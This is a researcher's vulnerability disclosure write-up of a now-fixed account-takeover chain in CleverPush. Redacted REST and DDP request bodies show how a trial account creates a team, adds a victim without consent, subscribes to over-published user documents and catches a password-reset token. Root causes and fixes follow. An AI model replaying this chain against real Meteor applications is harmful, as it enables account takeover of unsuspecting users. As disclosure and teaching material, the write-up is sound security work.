This is a write-up of a critical account takeover (ATO) I found in CleverPush, a web/app push-notification platform. By chaining a missing authorization check with a classic Meteor data-publication mistake, an attacker holding only a free trial account could reset any user’s password without ever knowing the current one, and without any access to the victim’s mailbox.
It was reported to CleverPush and fixed before this post went out. The concrete request bodies, tokens, IDs, and credentials below are redacted or replaced with placeholders.
TL;DR
- CleverPush runs on Meteor, which ships a real-time
protocol called DDP. Meteor’s biggest security footgun is over-publishing
documents: a publication that returns raw user records leaks everything in them,
including the
services.passwordsubtree. - A trial account could create a Team over the REST API (a paid-plan action that was only enforced in the UI/DDP layer) and then add any existing user to that team by email, with no invitation or consent.
- Subscribing to the
teampublication streamed the full user documents of every “member”, the victim included, straight to the attacker’s socket. - Triggering a password reminder for the victim wrote a reset token into that
user document, so it arrived at the attacker as a live
changedevent. - Feeding the leaked token to
resetMyPasswordcompleted the takeover.
The whole chain is four API calls. None of them required the victim to do anything.
Background: Meteor, DDP, and publications
If you’ve never touched a Meteor app, the one thing to understand is DDP (Distributed Data Protocol). Instead of the usual “front-end calls REST endpoints,” a Meteor client opens a WebSocket (here tunnelled over SockJS) and speaks a small JSON protocol:
sub: subscribe to a named publication (a server-defined query).method: call a server method (Meteor’s RPC).- The server pushes
added/changed/removedmessages for every document in every publication you’re subscribed to, and keeps pushing them live as the data changes.
That live-sync behaviour is the whole appeal of Meteor, and also the whole problem. The golden rule of Meteor security is:
A publication streams the exact fields you return, to every client allowed to subscribe, and it keeps streaming them on every change. If you publish a user document without restricting fields, you are publishing their password hash and reset tokens.
Meteor stores auth material on the user document under services:
// a Meteor user document (simplified)
{
_id: 'abc123',
emails: [{ address: 'victim@example.com', verified: true }],
services: {
password: {
bcrypt: '$2a$...', // password hash
reset: { // written when a reset is requested
token: '<secret-reset-token>',
email: 'victim@example.com',
when: { $date: 1760000000000 }
}
},
resume: { loginTokens: [ /* session tokens */ ] }
}
}Anything under services is a secret. A correctly written publication must
project those fields away:
// CORRECT: restrict the fields that leave the server
Meteor.publish('team', function (teamId) {
return Meteor.users.find(
{ teamIds: teamId },
{ fields: { emails: 1, profile: 1 } } // services.* is never sent
)
})The vulnerable publication did not. It streamed whole user documents.
The chain
1. Create a team on a plan that shouldn’t allow it
Teams are a paid feature. The DDP method that creates them checks the account’s plan, but the equivalent REST endpoint did not. A free-trial API key could create a team directly:
POST /api/teams HTTP/1.1
Host: api.cleverpush.com
Authorization: <attacker-api-key>
Content-Type: application/json
{ "name": "redacted-team", "channels": ["<attacker-channel-id>"] }HTTP/1.1 201 CreatedThis is the first lesson of the write-up: authorization has to live in one place. When the same capability is reachable through two transports (DDP and REST) and only one of them enforces the plan/permission check, the check is effectively optional.
2. Add the victim to the team (no consent required)
With a team in hand, the attacker adds an arbitrary, existing account to it, by email:
POST /api/team/<team-id>/members HTTP/1.1
Host: api.cleverpush.com
Authorization: <attacker-api-key>
Content-Type: application/json
{ "email": "<victim-email>" }The victim is now a “member” of the attacker’s team. There was no invite to accept, no confirmation email, nothing. This is what makes step 3 possible: the attacker now has a legitimate-looking reason to observe the victim’s user document.
3. Subscribe to the team and watch the user documents
The attacker logs in over DDP with their own credentials and subscribes to the
team publication for their team:
{ "msg": "sub", "id": "2", "name": "team", "params": ["<team-id>"] }Because the publication streams full user documents for every member, the attacker immediately receives the victim’s record. On its own that’s already a data leak (emails, profile, internal fields). The takeover comes from leaving the socket open and triggering a state change.
4. Trigger a reset and receive the token over the socket
Password resets in Meteor’s accounts system work by writing a token onto the
user document (services.password.reset.token). The attacker calls the
public reminder method for the victim:
{ "msg": "method", "id": "3", "method": "sendPasswordReminder",
"params": ["<victim-email>"] }The server dutifully writes the reset token to the victim’s user document. And because the attacker is still subscribed to a publication that includes that document with all its fields, Meteor pushes the change straight to them:
{
"msg": "changed",
"collection": "users",
"id": "<victim-user-id>",
"fields": {
"services": {
"password": { "reset": { "token": "<leaked-reset-token>" } }
}
}
}The reset email is irrelevant now. The token that was supposed to prove control of the victim’s inbox just arrived on the attacker’s WebSocket.
5. Reset the password and log in
{ "msg": "method", "id": "4", "method": "resetMyPassword",
"params": ["<leaked-reset-token>", "<attacker-chosen-password>"] }The server accepts the token, sets the new password, and the attacker logs in as the victim. Game over.
Root cause
There are three distinct bugs here, and the severity comes from how they compose:
- Over-publication (the critical one). The
teampublication returned raw user documents instead of projecting to a safe field set. Any secret written to a user document (reset tokens, and potentially password hashes and session tokens) was broadcast to everyone subscribed. This is the textbook Meteor mistake and the single most important thing to fix. - Authorization split across transports. The plan check that gated team creation existed in DDP but not in REST, so a trial account could do a paid-plan action simply by picking the other door.
- No-consent membership. An existing user could be pulled into an attacker-controlled team with no invitation step, which is what gave the attacker a channel to observe the victim’s document in the first place.
None of these alone is a full ATO. Together they are: #2 gets you a team, #3 puts the victim inside it, and #1 turns an ordinary reset into a token hand-off.
The fix
What I recommended to CleverPush, roughly in priority order:
- Project fields in every publication. Never return
services(or any auth material) to a client. Audit all publications, not justteam, because the reminder method writes to the user document regardless of which publication exposes it, so any over-publishing publication is a leak. - Require consent for team membership. Adding an existing account to a team should create a pending invitation the invitee accepts, not an immediate membership.
- Enforce plan and authorization checks in one shared layer that both REST and DDP call, so the two transports can’t disagree about what a given account is allowed to do.
- Invalidate outstanding reset tokens and review logs / other publications for prior exposure.
The most urgent item is #1: stop reset tokens (and anything else under
services) from ever reaching another user’s socket. Fix that and the chain is
broken even if the other two bugs remain.